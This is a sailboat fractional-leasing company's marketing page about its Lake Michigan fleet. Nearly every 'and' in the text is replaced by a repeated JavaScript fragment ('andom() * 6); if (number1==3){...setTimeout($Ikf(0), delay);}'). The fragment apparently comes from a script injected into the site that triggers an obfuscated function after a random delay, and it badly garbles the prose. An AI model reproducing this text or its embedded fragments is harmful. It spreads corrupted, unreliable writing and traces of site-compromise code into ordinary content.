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Olson’s Classic Yachts

Enjoy the freedom of sailing well-equipped cruising yachts, without the cost and maintenance hassle of private ownership.

Our Boats

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Sailboat designs differ significantly in both size andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the type of sailing intended by their creators. Our fractional leasing fleet captures this diversity.

Depending on your interest andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and experience, you can choose by size (ranging between 27 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 42 feet) or by sailing characteristics (performance, comfortable cruising, simplicity, ease of handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andling). This breadth of choice is in sharp contrast to the “one-type-fits-all” offerings of other leasing companies.

Their boats are typically large, wide, high-freeboard designs best suited to Caribbean charter boat fleets. These boats are selected for spacious accommodations andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and to sail comfortably in balmy islandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and trade winds. Enjoyable as they are for the Caribbean, handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andling Lake Michigan weather requires boats with enhanced capabilities.

OCY Sailing invites you to choose a boat favored by experienced Lake Michigan sailors for serious Chicago-style sailing.

  • Unlike the steady predictable breeze of a Caribbean trade wind, Lake Michigan sailors routinely experience wind, gust andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and wave conditions that change markedly during the course of a single daysail. All of our boats are proven for this challenge.
  • Instead of plentiful crew on board, Chicago captains often sail short-handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anded andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and require rigging easily managed from the cockpit. Our boats are fitted with this in mind.
  • Daysailing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and occasional overnights are the norm in Chicago, not week-long live-aboarding. Our boats are comfortable for multi-day cruises, but not at the expense of performance andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andling.

Get Out There!

Life at the dock is not the primary mission of our boats - sailing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and cruising is. That’s why we offer ten different boats with size andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sailing characteristics experience tells us best capture the diverse needs of Chicago sailors. If you want a serious performance cruiser, choose our beautiful C&C 41 Custom, White River. If you’re looking for an entry-level boat, or one suited to easy short-handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anded sailing, check out our always popular Catalina 27, Little Darlin’. In between, we offer eight other cruising classics. We’re confident you’ll find a boat in our fleet that matches your skills andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and delivers the adventure you’re seeking.

Our boats weren’t built to hug the harbor. We want you to have fun sailing the way you want to sail, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and believe you’ll be amazed at how much you’ll save over the “one-style-fits-all” approach common to most leaseshare companies.